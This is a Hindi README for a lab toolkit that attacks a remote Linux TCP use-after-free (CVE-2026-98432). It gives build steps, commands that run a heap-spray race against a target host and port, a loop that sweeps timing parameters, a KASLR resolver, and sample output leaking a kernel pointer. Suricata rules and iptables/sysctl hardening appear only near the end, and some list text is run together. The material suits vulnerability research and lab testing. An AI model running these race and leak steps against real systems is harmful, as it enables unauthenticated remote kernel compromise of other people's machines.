
CVE-2026-98432 Linux TCP ireq_opt use-after-free के लिए प्रयोगशाला टूलकिट: heap-reuse oracle के साथ race trigger, leak parser, KASLR resolver, pcap विश्लेषण, IDS नियम और hardening।
CVE-2026-98432 के लिए एक छोटा, परीक्षित प्रयोगशाला टूलकिट, जो Linux IPv4/TCP स्टैक (CVSS 9.8) में एक रिमोट use-after-free है। इसमें heap-reuse oracle के साथ एक race trigger, एक leak parser, एक KASLR resolver, pcap विश्लेषण, IDS नियम और hardening सहायक शामिल हैं।
[!WARNING] यह attack tooling है। इसे केवल उन मशीनों के विरुद्ध चलाएँ जिनके आप स्वामी हैं, किसी पृथक प्रयोगशाला के भीतर। यह भेद्यता रिमोट है और लक्ष्य पर किसी क्रेडेंशियल की आवश्यकता नहीं है। यह टूल सार्वजनिक पतों को अस्वीकार करता है जब तक आप स्पष्ट रूप से
--allow-publicपास न करें।
ireq_opt race के लिए एक trigger, जिसमें सटीक, कॉन्फ़िगर करने योग्य टाइमिंग मॉडल है;System.map के साथ KASLR स्लाइड में बदला जा सकता है;| लक्ष्य | IPv4 TCP listener वाला Linux, कर्नेल फ़िक्स से पुराना |
| आक्रमणकर्ता | Linux, CAP_NET_RAW, एक C कंपाइलर, Python 3.8+ |
| अनुशंसित | दो VMs या एक VM और एक होस्ट, समान L2 नेटवर्क |
--mode raw को इसके अतिरिक्त दो iptables नियम स्थापित करने के लिए CAP_NET_ADMIN की आवश्यकता होती है (टूल उन्हें प्रिंट करता है)।
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
लैब में:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
एग्ज़िट कोड 0 होता है जब ऑरेकल ने पुनः उपयोग किए गए विकल्प ब्लॉक को देखा (use-after-free का प्रमाण), 3 जब उसने नहीं देखा, और त्रुटियों पर 1/2।
एक प्रयोगशाला रन ने पहले ही UAF ऑरेकल की पुष्टि कर दी है: SYN-ACK में किसी अन्य अनुरोध का मार्कर था, जो सिद्ध करता है कि कर्नेल ने पुनः उपयोग किए गए विकल्प ऑब्जेक्ट को पढ़ा। देखें docs/verified-hit.md। चरण 2 (पुनः उपयोग को कर्नेल-पॉइंटर लीक में बदलना) लागू और इंस्ट्रूमेंटेड है लेकिन अभी तक पुनरुत्पादित नहीं हुआ है; देखें docs/stage2-leak.md। 2026-11-02 तक कोई सार्वजनिक हथियारीकृत RCE चेन मौजूद नहीं है: Anthropic की चेन का वर्णन केवल गद्य में किया गया है, और सबसे विस्तृत स्वतंत्र कार्य एक इंस्ट्रूमेंटेड कर्नेल पर नियंत्रित डीरेफ़रेंस पर रुकता है।
lab/build-lab.sh Linux 6.12.112 डाउनलोड करता है, दो-पंक्ति वाले फ़िक्स को वापस लागू करता है, एक कर्नेल बनाता है और उसे QEMU में टूल और एक लिसनर के साथ बूट करता है। आवश्यकताओं और in-VM कमांड के लिए देखें lab/README.md।
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check कभी सॉकेट नहीं खोलता। यह पैकेट निर्माण और पार्सिंग, चेकसम, दोनों मार्कर फ़्लेवर, पॉइंटर क्लासिफायर, pcap राइटर, एक पार्सर फ़ज़ पास, एनालाइज़र, शेल हेल्पर, CLI और सुरक्षा गार्ड को कवर करता है। पूर्ण मैट्रिक्स के लिए docs/analysis.md देखें।
| मोड | यह क्या करता है | नेटवर्क |
|---|---|---|
--check | चल रहे कर्नेल की तुलना फ़िक्स तालिका से करता है, MPTCP और tcp_migrate_req स्थिति प्रिंट करता है | कोई नहीं |
--selftest | अंतर्निहित स्मोक टेस्ट | कोई नहीं |
--emit-demo FILE | एक सिंथेटिक UAF कैप्चर लिखता है (एनालाइज़र के परीक्षण के लिए) | कोई नहीं |
--dump-config | सामान्यीकृत कॉन्फ़िगरेशन प्रिंट करता है | कोई नहीं |
--probe IP:PORT | MP_CAPABLE के साथ एक SYN, MPTCP लिसनर का पता लगाता है | एक पैकेट |
--race IP:PORT | वास्तविक रेस | कई पैकेट |
सामान्य रेस विकल्प:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
पूरी सूची के लिए ./bin/cve_2026_98432 --help चलाएँ।
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| फ़ील्ड | अर्थ |
|---|---|
attempts | शुरू किए गए हैंडशेक |
synacks | देखे गए SYN-ACK |
hits | SYN-ACK में किसी अन्य प्रयास का मार्कर मौजूद: use-after-free की पुष्टि हुई |
anomalies | विकल्प ब्लॉब हमारे अनुसार पार्स नहीं हुआ (संभावित लीक हुए बाइट्स) |
malformed | IPv4 ihl < 5, अंडरफ़्लो हस्ताक्षर |
marker echoed | वे SYN-ACK जिनमें हमारा TS मार्कर मौजूद था |
rtt | टाइमिंग के लिए उपयोग किया गया वर्तमान राउंड-ट्रिप अनुमान |
एक हिट ऐसा दिखता है:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
रेस एक प्रीएम्प्शन लॉटरी है, लेकिन टाइमिंग फिर भी मायने रखती है। लूपबैक या LAN पर डिफ़ॉल्ट सेटिंग्स से शुरू करें, फिर स्वीप करें:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Suricata नियम tools/suricata.rules में हैं। दो उच्च-मूल्य वाले सिग्नेचर हैं: IP विकल्पों के साथ एक इनबाउंड TCP SYN, और ihl < 5 वाला एक IPv4 हेडर।
tools/fix_check.sh /path/to/linux।sysctl -w net.mptcp.enabled=0।sysctl -w net.ipv4.tcp_migrate_req=0।iptables -A INPUT -m ipv4options --rr --ts --ssrr --lsrr --ra --sec --cipso --sid -j DROP
या nft add rule ip filter input ip hdrlength != 5 drop।tools/harden.sh --apply का उपयोग करें (डिफ़ॉल्ट रूप से ड्राई रन)।